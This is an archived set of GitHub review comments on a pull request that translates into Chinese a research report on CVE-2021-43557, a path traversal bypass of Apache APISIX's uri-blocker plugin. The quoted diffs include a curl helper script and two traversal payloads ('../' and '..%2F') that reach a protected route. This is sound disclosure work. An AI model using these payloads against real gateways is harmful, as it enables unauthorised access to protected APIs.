You are viewing a plain text version of this content. The canonical link for it is here.
Posted to notifications@apisix.apache.org by GitBox <gi...@apache.org> on 2021/11/23 03:57:45 UTC

[GitHub] [apisix-website] juzhiyuan commented on a change in pull request #768: docs: add CVE-2021-43557 research CN version

juzhiyuan commented on a change in pull request #768:
URL: https://github.com/apache/apisix-website/pull/768#discussion_r754785299



##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -1,32 +1,34 @@
 ---
-title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+title: "关于 Apache APISIX Ingress Controller request_uri 变量不安全问题的研究报告"
 author: "Marcin Niemiec"
 authorURL: "https://github.com/xvnpw"
 authorImageURL: "https://avatars.githubusercontent.com/u/17719543?v=4"
 keywords: 
 - Apache APISIX
 - CVE
 - Request_uri
-- Security
-description: Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+- 安全漏洞
+description: 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中`$request_uri` 变量不安全使用的问题研究。
 tags: [Technology]
 ---
 
-> Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+> 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中 `$request_uri` 变量不安全使用的问题研究。
 
 <!--truncate-->
 
-In this article I will present my research on insecure usage of `$request_uri` variable in [Apache APISIX](https://github.com/apache/apisix-ingress-controller/) ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557\. At the end of article I will mention in short [Skipper](https://github.com/zalando/skipper) which I tested for same problem.
+本文提及的 Ingress Controller 中 `$request_uri` 变量不安全使用的问题，目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后，目前该漏洞已第一时间被修复。同时在文章最后，我也将简要地提到我为同一问题测试的[Skipper](https://github.com/zalando/skipper)。

Review comment:
       ```suggestion
   本文提及的 Ingress Controller 中 `$request_uri` 变量不安全使用的问题，目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后，目前该漏洞已第一时间被修复。同时在文章最后，我也将简要地提到我为同一问题测试的[Skipper](https://github.com/zalando/skipper) 项目。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -1,32 +1,34 @@
 ---
-title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+title: "关于 Apache APISIX Ingress Controller request_uri 变量不安全问题的研究报告"
 author: "Marcin Niemiec"
 authorURL: "https://github.com/xvnpw"
 authorImageURL: "https://avatars.githubusercontent.com/u/17719543?v=4"
 keywords: 
 - Apache APISIX
 - CVE
 - Request_uri
-- Security
-description: Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+- 安全漏洞
+description: 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中`$request_uri` 变量不安全使用的问题研究。
 tags: [Technology]
 ---
 
-> Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+> 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中 `$request_uri` 变量不安全使用的问题研究。
 
 <!--truncate-->
 
-In this article I will present my research on insecure usage of `$request_uri` variable in [Apache APISIX](https://github.com/apache/apisix-ingress-controller/) ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557\. At the end of article I will mention in short [Skipper](https://github.com/zalando/skipper) which I tested for same problem.
+本文提及的 Ingress Controller 中 `$request_uri` 变量不安全使用的问题，目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后，目前该漏洞已第一时间被修复。同时在文章最后，我也将简要地提到我为同一问题测试的[Skipper](https://github.com/zalando/skipper)。
 
-> Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.
+> Apache APISIX 是一个动态的、实时的、高性能的 API 网关。Apache APISIX 提供丰富的流量管理功能，如负载平衡、动态上游、金丝雀释放、断路、认证、可观察性等。

Review comment:
       ```suggestion
   > Apache APISIX 是一个动态、实时、高性能的 API 流量处理平台，它提供了丰富的流量管理功能，如负载均衡、动态上游、金丝雀发布、断路器、身份认证、可观测性等。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -1,32 +1,34 @@
 ---
-title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+title: "关于 Apache APISIX Ingress Controller request_uri 变量不安全问题的研究报告"

Review comment:
       need @spacewander @tokers to have a check, which title is more appropriate?

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -1,32 +1,34 @@
 ---
-title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+title: "关于 Apache APISIX Ingress Controller request_uri 变量不安全问题的研究报告"
 author: "Marcin Niemiec"
 authorURL: "https://github.com/xvnpw"
 authorImageURL: "https://avatars.githubusercontent.com/u/17719543?v=4"
 keywords: 
 - Apache APISIX
 - CVE
 - Request_uri
-- Security
-description: Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+- 安全漏洞
+description: 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中`$request_uri` 变量不安全使用的问题研究。
 tags: [Technology]
 ---
 
-> Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+> 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中 `$request_uri` 变量不安全使用的问题研究。
 
 <!--truncate-->
 
-In this article I will present my research on insecure usage of `$request_uri` variable in [Apache APISIX](https://github.com/apache/apisix-ingress-controller/) ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557\. At the end of article I will mention in short [Skipper](https://github.com/zalando/skipper) which I tested for same problem.
+本文提及的 Ingress Controller 中 `$request_uri` 变量不安全使用的问题，目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后，目前该漏洞已第一时间被修复。同时在文章最后，我也将简要地提到我为同一问题测试的[Skipper](https://github.com/zalando/skipper)。
 
-> Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.
+> Apache APISIX 是一个动态的、实时的、高性能的 API 网关。Apache APISIX 提供丰富的流量管理功能，如负载平衡、动态上游、金丝雀释放、断路、认证、可观察性等。
 
-Why `$request_uri` ? This [variable](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri) is many times used in authentication and authorization plugins. It’s **not normalized**, so giving a possibility to bypass some restrictions.
+为什么是 `$request_uri`？
 
-In Apache APISIX there is no typical functionality of external authentication/authorization. You can write your own plugin, but it’s quite complicated. To prove that APISIX is vulnerable to path-traversal I will use `uri-blocker` plugin. I’m suspecting that other plugins are also vulnerable but this one is easy to use.
+[`$request_uri`](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri)在认证和授权插件中被多次使用。因为它是**不规范的**，所以就增加了绕过一些限制的可能性。
 
-## Setting the stage
+在 Apache APISIX 中，没有典型的外部认证/授权功能。你可以编写自己的插件，但过程是相当复杂的。为了证明 Apache APISIX 容易受到路径遍历的影响，我将使用 `uri-blocker` 插件进行接下来的演示与操作。
 
-Install APISIX into Kubernetes. Use helm chart with version **0.7.2**:
+## 开始部署
+
+首先将 Apache APISIX 安装到 Kubernetes 中。在这里我使用了 Helm Chart 0.7.2 版本。

Review comment:
       ```suggestion
   首先，我使用 0.7.2 版本的 Helm Chart 来将 Apache APISIX 部署至 Kubernetes 中：
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -1,32 +1,34 @@
 ---
-title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+title: "关于 Apache APISIX Ingress Controller request_uri 变量不安全问题的研究报告"
 author: "Marcin Niemiec"
 authorURL: "https://github.com/xvnpw"
 authorImageURL: "https://avatars.githubusercontent.com/u/17719543?v=4"
 keywords: 
 - Apache APISIX
 - CVE
 - Request_uri
-- Security
-description: Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+- 安全漏洞
+description: 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中`$request_uri` 变量不安全使用的问题研究。
 tags: [Technology]
 ---
 
-> Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+> 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中 `$request_uri` 变量不安全使用的问题研究。
 
 <!--truncate-->
 
-In this article I will present my research on insecure usage of `$request_uri` variable in [Apache APISIX](https://github.com/apache/apisix-ingress-controller/) ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557\. At the end of article I will mention in short [Skipper](https://github.com/zalando/skipper) which I tested for same problem.
+本文提及的 Ingress Controller 中 `$request_uri` 变量不安全使用的问题，目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后，目前该漏洞已第一时间被修复。同时在文章最后，我也将简要地提到我为同一问题测试的[Skipper](https://github.com/zalando/skipper)。
 
-> Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.
+> Apache APISIX 是一个动态的、实时的、高性能的 API 网关。Apache APISIX 提供丰富的流量管理功能，如负载平衡、动态上游、金丝雀释放、断路、认证、可观察性等。
 
-Why `$request_uri` ? This [variable](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri) is many times used in authentication and authorization plugins. It’s **not normalized**, so giving a possibility to bypass some restrictions.
+为什么是 `$request_uri`？
 
-In Apache APISIX there is no typical functionality of external authentication/authorization. You can write your own plugin, but it’s quite complicated. To prove that APISIX is vulnerable to path-traversal I will use `uri-blocker` plugin. I’m suspecting that other plugins are also vulnerable but this one is easy to use.
+[`$request_uri`](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri)在认证和授权插件中被多次使用。因为它是**不规范的**，所以就增加了绕过一些限制的可能性。

Review comment:
       need @spacewander's confirmation

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -86,27 +88,29 @@ spec:
           regex_uri: ["/protected-service/(.*)", "/$1"]
 ```
 
-Let’s dive deep into it:
+`ApisixRoute` 可以做到以下内容：
+
+- 为 `public-service` 和 `private-service` 创建路由
+- 开启 `proxy-rewrite` 来删除前缀
+- 为 `protected-service` 配置了 `uri-blocker` 插件。这个插件会阻止任何以 `/protected-service` 开头的请求
 
-- It creates routes for `public-service` and `private-service`
-- There is `proxy-rewrite` turned on to remove prefixes
-- There is `uri-blocker` plugin configured for `protected-service`. It can look like mistake but this plugin it about to block any requests starting with `/protected-service`
+## 漏洞复现
 
-## Exploitation
+在这里，我使用的是 **2.10.0** 版本的 Apache APISIX。
 
-I’m using APISIX in version **2.10.0**.
+在 minikube 中接触到 Apache APISIX 路由是相当不方便的：`kubectl exec -it -n ${Apache APISIX namespace} ${Apache APISIX Pod name} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`。

Review comment:
       ```suggestion
   选择使用 minikube 来访问 Apache APISIX 路由资源：
   
   ```sh
   $ kubectl exec -it -n ${Apache APISIX namespace} ${Apache APISIX Pod name} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'
   ```
   
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -86,27 +88,29 @@ spec:
           regex_uri: ["/protected-service/(.*)", "/$1"]
 ```
 
-Let’s dive deep into it:
+`ApisixRoute` 可以做到以下内容：
+
+- 为 `public-service` 和 `private-service` 创建路由
+- 开启 `proxy-rewrite` 来删除前缀
+- 为 `protected-service` 配置了 `uri-blocker` 插件。这个插件会阻止任何以 `/protected-service` 开头的请求

Review comment:
       ```suggestion
   - 为 `protected-service` 配置了 `uri-blocker` 插件，该插件会阻止任何以 `/protected-service` 开头的请求。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -86,27 +88,29 @@ spec:
           regex_uri: ["/protected-service/(.*)", "/$1"]
 ```
 
-Let’s dive deep into it:
+`ApisixRoute` 可以做到以下内容：
+
+- 为 `public-service` 和 `private-service` 创建路由

Review comment:
       ```suggestion
   - 为 `public-service` 和 `private-service` 创建路由；
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -1,32 +1,34 @@
 ---
-title: "Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)"
+title: "关于 Apache APISIX Ingress Controller request_uri 变量不安全问题的研究报告"
 author: "Marcin Niemiec"
 authorURL: "https://github.com/xvnpw"
 authorImageURL: "https://avatars.githubusercontent.com/u/17719543?v=4"
 keywords: 
 - Apache APISIX
 - CVE
 - Request_uri
-- Security
-description: Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+- 安全漏洞
+description: 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中`$request_uri` 变量不安全使用的问题研究。
 tags: [Technology]
 ---
 
-> Research report about Apache APISIX Path traversal in request_uri variable(CVE-2021-43557)
+> 在这篇文章中，将介绍我对 Apache APISIX Ingress Controller 中 `$request_uri` 变量不安全使用的问题研究。
 
 <!--truncate-->
 
-In this article I will present my research on insecure usage of `$request_uri` variable in [Apache APISIX](https://github.com/apache/apisix-ingress-controller/) ingress controller. My work end up in submit of security vulnerability, which was positively confirmed and got CVE-2021-43557\. At the end of article I will mention in short [Skipper](https://github.com/zalando/skipper) which I tested for same problem.
+本文提及的 Ingress Controller 中 `$request_uri` 变量不安全使用的问题，目前该漏洞已被确认为 CVE-2021-43557。在向社区及时反馈后，目前该漏洞已第一时间被修复。同时在文章最后，我也将简要地提到我为同一问题测试的[Skipper](https://github.com/zalando/skipper)。
 
-> Apache APISIX is a dynamic, real-time, high-performance API gateway. APISIX provides rich traffic management features such as load balancing, dynamic upstream, canary release, circuit breaking, authentication, observability, and more.
+> Apache APISIX 是一个动态的、实时的、高性能的 API 网关。Apache APISIX 提供丰富的流量管理功能，如负载平衡、动态上游、金丝雀释放、断路、认证、可观察性等。
 
-Why `$request_uri` ? This [variable](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri) is many times used in authentication and authorization plugins. It’s **not normalized**, so giving a possibility to bypass some restrictions.
+为什么是 `$request_uri`？
 
-In Apache APISIX there is no typical functionality of external authentication/authorization. You can write your own plugin, but it’s quite complicated. To prove that APISIX is vulnerable to path-traversal I will use `uri-blocker` plugin. I’m suspecting that other plugins are also vulnerable but this one is easy to use.
+[`$request_uri`](https://nginx.org/en/docs/http/ngx_http_core_module.html#var_request_uri)在认证和授权插件中被多次使用。因为它是**不规范的**，所以就增加了绕过一些限制的可能性。
 
-## Setting the stage
+在 Apache APISIX 中，没有典型的外部认证/授权功能。你可以编写自己的插件，但过程是相当复杂的。为了证明 Apache APISIX 容易受到路径遍历的影响，我将使用 `uri-blocker` 插件进行接下来的演示与操作。

Review comment:
       ```suggestion
   Apache APISIX 内置多种身份认证插件，当然，你也可以编写自定义插件。为了验证它受到了路径遍历问题的影响，我选择了 `uri-blocker` 插件进行演示。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在做出阻止决定的逻辑中使用了 `ctx.var.require_uri` 变量。这点可以在[代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)中进行详细查看。
 
 ![Cause](https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png)
 
-### Impact
+### 漏洞影响
+
+- 攻击者可以绕过访问控制限制，访问到原本不允许访问的路线

Review comment:
       ```suggestion
   - 攻击者可以绕过访问控制限制逻辑，访问本应禁止的 API；
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：

Review comment:
       ```suggestion
   现在让我们测试一下 Payload：
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -177,12 +189,14 @@ metadata:
             modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")
 ```
 
-To add some interesting headers that could help in access control decision, you need to do it manually with `setRequestHeader` filter. There is template available to inject variable by `${}`. Sadly (for attackers) `${request.path}` is having normalized path. I see in code that developers are not using _easily_ `RequestURI` or `originalRequest`.
+通过添加一些 headers 可以帮助访问控制决策，但需要用 `setRequestHeader` 过滤器手动完成。
+
+有一个模板可以通过使用 `${}` 来注入变量，但遗憾的是（对攻击者来说）`${request.path}` 有正常化的路径。在它的开发代码中可以看到，开发人员并没有轻易使用 `RequestURI` 和`originalRequest`。
 
-I wasn’t able to exploit path traversal in this case. Skipper remains safe.
+在这种情况下，我没有进行相关的路径遍历测试。但 Skipper 仍然是安全可信的一个 Ingress Controller 选择。

Review comment:
       ```suggestion
   我没有进行相关的路径遍历测试，或许 Skipper 也是安全可信的一个 Ingress Controller 选择。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -177,12 +189,14 @@ metadata:
             modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")
 ```
 
-To add some interesting headers that could help in access control decision, you need to do it manually with `setRequestHeader` filter. There is template available to inject variable by `${}`. Sadly (for attackers) `${request.path}` is having normalized path. I see in code that developers are not using _easily_ `RequestURI` or `originalRequest`.
+通过添加一些 headers 可以帮助访问控制决策，但需要用 `setRequestHeader` 过滤器手动完成。

Review comment:
       ```suggestion
   通过添加一些 headers 可以优化访问控制决策，但需要用 `setRequestHeader` 过滤器手动完成。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -177,12 +189,14 @@ metadata:
             modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")
 ```
 
-To add some interesting headers that could help in access control decision, you need to do it manually with `setRequestHeader` filter. There is template available to inject variable by `${}`. Sadly (for attackers) `${request.path}` is having normalized path. I see in code that developers are not using _easily_ `RequestURI` or `originalRequest`.
+通过添加一些 headers 可以帮助访问控制决策，但需要用 `setRequestHeader` 过滤器手动完成。
+
+有一个模板可以通过使用 `${}` 来注入变量，但遗憾的是（对攻击者来说）`${request.path}` 有正常化的路径。在它的开发代码中可以看到，开发人员并没有轻易使用 `RequestURI` 和`originalRequest`。
 
-I wasn’t able to exploit path traversal in this case. Skipper remains safe.
+在这种情况下，我没有进行相关的路径遍历测试。但 Skipper 仍然是安全可信的一个 Ingress Controller 选择。
 
-## Summary
+## 个人补充
 
-Apache APISIX is vulnerable for path traversal. It’s not affecting any external authentication, but plugins that are using `ctx.var.request_uri` variable.
+虽然前文中我提到了 Apache APISIX 存在路径遍历的漏洞。但是这个漏洞并不影响任何外部认证，只是影响了使用 `ctx.var.request_uri` 变量的插件。同时该漏洞已被 Apache APISIX 进行了及时修复，目前已没有安全漏洞问题，大家可放心使用。

Review comment:
       ```suggestion
   虽然前文中我提到了 Apache APISIX 存在路径遍历的漏洞，但该漏洞并不影响任何外部认证，只是影响了使用 `ctx.var.request_uri` 变量的插件。同时该漏洞已被 Apache APISIX 进行了及时修复，目前已没有安全漏洞问题，大家可放心使用。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在做出阻止决定的逻辑中使用了 `ctx.var.require_uri` 变量。这点可以在[代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)中进行详细查看。
 
 ![Cause](https://static.apiseven.com/202108/1637634166887-e3805291-5b00-4b7b-9936-0490266f4ed8.png)
 
-### Impact
+### 漏洞影响
+
+- 攻击者可以绕过访问控制限制，访问到原本不允许访问的路线
+- 自定义插件的开发者不知道 `ngx.var.request_uri` 变量是不可信任的状态
 
-- Attacker can bypass access control restrictions and perform successful access to routes that shouldn’t be able to,
-- Developers of custom plugins have no knowledge that `ngx.var.request_uri` variable is untrusted.
+同时在搜索 `var.request_uri` 相关用法时，我猜测上述漏洞或许对 [authz-keycloak 插件](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) 也有影响。

Review comment:
       ```suggestion
   在搜索 `var.request_uri` 相关用法时，我猜测上述漏洞或许对 [authz-keycloak](https://github.com/apache/apisix/blob/master/docs/en/latest/plugins/authz-keycloak.md) 插件也有影响。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -177,12 +189,14 @@ metadata:
             modPath("^/.*/", "/") -> setRequestHeader("X-Auth-Request-Redirect", "${request.path}") -> webhook("http://auth-service.default.svc.cluster.local:8080/verify")
 ```
 
-To add some interesting headers that could help in access control decision, you need to do it manually with `setRequestHeader` filter. There is template available to inject variable by `${}`. Sadly (for attackers) `${request.path}` is having normalized path. I see in code that developers are not using _easily_ `RequestURI` or `originalRequest`.
+通过添加一些 headers 可以帮助访问控制决策，但需要用 `setRequestHeader` 过滤器手动完成。
+
+有一个模板可以通过使用 `${}` 来注入变量，但遗憾的是（对攻击者来说）`${request.path}` 有正常化的路径。在它的开发代码中可以看到，开发人员并没有轻易使用 `RequestURI` 和`originalRequest`。
 
-I wasn’t able to exploit path traversal in this case. Skipper remains safe.
+在这种情况下，我没有进行相关的路径遍历测试。但 Skipper 仍然是安全可信的一个 Ingress Controller 选择。
 
-## Summary
+## 个人补充

Review comment:
       ```suggestion
   ## 总结
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -40,9 +42,9 @@ helm install apisix apisix/apisix \
 kubectl get service --namespace ingress-apisix
 ```
 
-In case of problems follow [official guide](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md).
+> 如果安装时出现问题，请参考[官方指南](https://github.com/apache/apisix-ingress-controller/blob/master/docs/en/latest/deployments/minikube.md)。
 
-To create _ingress route_, you need to deploy `ApisixRoute` resource:
+接下来创建 Ingress 路由，在这里就需要部署 `ApisixRoute` 资源：

Review comment:
       ```suggestion
   接着，我部署了一条 `ApisixRoute` 资源以便创建 Ingress 路由：
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -86,27 +88,29 @@ spec:
           regex_uri: ["/protected-service/(.*)", "/$1"]
 ```
 
-Let’s dive deep into it:
+`ApisixRoute` 可以做到以下内容：
+
+- 为 `public-service` 和 `private-service` 创建路由
+- 开启 `proxy-rewrite` 来删除前缀

Review comment:
       ```suggestion
   - 开启 `proxy-rewrite` 来删除前缀；
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -86,27 +88,29 @@ spec:
           regex_uri: ["/protected-service/(.*)", "/$1"]
 ```
 
-Let’s dive deep into it:
+`ApisixRoute` 可以做到以下内容：
+
+- 为 `public-service` 和 `private-service` 创建路由
+- 开启 `proxy-rewrite` 来删除前缀
+- 为 `protected-service` 配置了 `uri-blocker` 插件。这个插件会阻止任何以 `/protected-service` 开头的请求
 
-- It creates routes for `public-service` and `private-service`
-- There is `proxy-rewrite` turned on to remove prefixes
-- There is `uri-blocker` plugin configured for `protected-service`. It can look like mistake but this plugin it about to block any requests starting with `/protected-service`
+## 漏洞复现
 
-## Exploitation
+在这里，我使用的是 **2.10.0** 版本的 Apache APISIX。
 
-I’m using APISIX in version **2.10.0**.
+在 minikube 中接触到 Apache APISIX 路由是相当不方便的：`kubectl exec -it -n ${Apache APISIX namespace} ${Apache APISIX Pod name} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`。
 
-Reaching out to APISIX routes in minikube is quite inconvenient: `kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'`. To ease my pain I will write small script that will work as template:
+为了较少重复操作，我自己配置了一个小脚本，作为模板工作：
 
 ```shell
 #/bin/bash
 
 kubectl exec -it -n ingress-apisix apisix-dc9d99d76-vl5lh -- curl --path-as-is http://127.0.0.1:9080$1 -H 'Host: app.test'
 ```
 
-In your case replace `apisix-dc9d99d76-vl5lh` with name of actual APISIX pod.
+> 在个人实际使用中，可将 `apisix-dc9d99d76-vl5lh`替换为个人实际的 Apache APISIX Pod 名称。

Review comment:
       ```suggestion
   > 在尝试复线问题时，可将 `apisix-dc9d99d76-vl5lh`替换为实际的 Apache APISIX Pod 名称。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
+现在让我们测试一下有效载荷：
+
+- 情况一
 
 ```shell
 $ ./apisix_request.sh "/public-service/../protected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-and second one:
+- 情况二
 
 ```shell
 $ ./apisix_request.sh "/public-service/..%2Fprotected-service/protected"
 Defaulted container "apisix" out of: apisix, wait-etcd (init)
 {"data":"protected data"}
 ```
 
-As you can see in both cases I was able to bypass uri restrictions.
+正如你所看到的，在上述两种情况下，我都能够绕过 Uri 的限制。
 
-### Root cause
+### 根本原因
 
-`uri-blocker` plugin is using `ctx.var.request_uri` variable in logic of making blocking decision. You can check it in [code](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98):
+出现上述情况的根本原因是 `uri-blocker` 插件在做出阻止决定的逻辑中使用了 `ctx.var.require_uri` 变量。这点可以在[代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)中进行详细查看。

Review comment:
       ```suggestion
   出现上述情况的根本原因是 `uri-blocker` 插件在处理禁止访问的逻辑中使用了 `ctx.var.require_uri` 变量，可以[访问代码](https://github.com/apache/apisix/blob/11e7824cee0e4ab0145ea7189d991464ade3682a/apisix/plugins/uri-blocker.lua#L98)进行查看。
   ```

##########
File path: website/i18n/zh/docusaurus-plugin-content-blog/2021/11/23/cve-2021-43557-research-report.md
##########
@@ -126,46 +130,54 @@ Defaulted container "apisix" out of: apisix, wait-etcd (init)
 </html>
 ```
 
-Yep. `public-service` is available and `protected-service` is blocked by plugin.
+从上边我们看到，`public-service` 是可用的，`protected-service` 则被插件阻止了。
 
-Now let’s test payloads:
